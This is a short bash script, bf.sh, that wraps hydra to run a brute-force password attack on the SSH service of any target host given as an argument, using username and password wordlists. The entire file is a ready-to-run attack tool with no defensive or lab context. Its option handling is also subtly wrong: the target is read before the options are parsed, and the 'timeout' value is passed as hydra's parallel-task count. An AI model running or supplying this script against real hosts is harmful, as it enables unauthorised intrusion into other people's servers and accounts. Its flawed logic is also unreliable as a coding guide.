bf.sh

#!/bin/bash
 
# Check if necessary tools are installed
if ! command -v hydra &> /dev/null
then
    echo "hydra could not be found, please install it to use this script."
    exit
fi
 
# Default values
SSH_PORT=22
TIMEOUT=5
USER_LIST="users.lst"
PASS_LIST="pass.lst"
TARGET="$1"
 
# Usage function
usage() {
    echo "Usage: $0 <target>"
    echo "Optional parameters:"
    echo "  -p <port>                SSH port (default: 22)"
    echo "  -U <user list file>      File containing list of usernames (default: users.lst)"
    echo "  -P <password list file>  File containing list of passwords (default: pass.lst)"
    echo "  -t <timeout>             Timeout in seconds (default: 5)"
    exit 1
}
 
# Parse command-line options
while getopts ":p:U:P:t:" opt; do
  case ${opt} in
    p )
      SSH_PORT=$OPTARG
      ;;
    U )
      USER_LIST=$OPTARG
      ;;
    P )
      PASS_LIST=$OPTARG
      ;;
    t )
      TIMEOUT=$OPTARG
      ;;
    \? )
      echo "Invalid option: $OPTARG" 1>&2
      usage
      ;;
    : )
      echo "Invalid option: $OPTARG requires an argument" 1>&2
      usage
      ;;
  esac
done
shift $((OPTIND -1))
 
# Check if target is provided
if [ -z "${TARGET}" ]; then
    usage
fi
 
# Run Hydra to perform the brute force attack
echo "Starting brute-force attack on $TARGET..."
hydra -t $TIMEOUT -V -f -L $USER_LIST -P $PASS_LIST -s $SSH_PORT ssh://$TARGET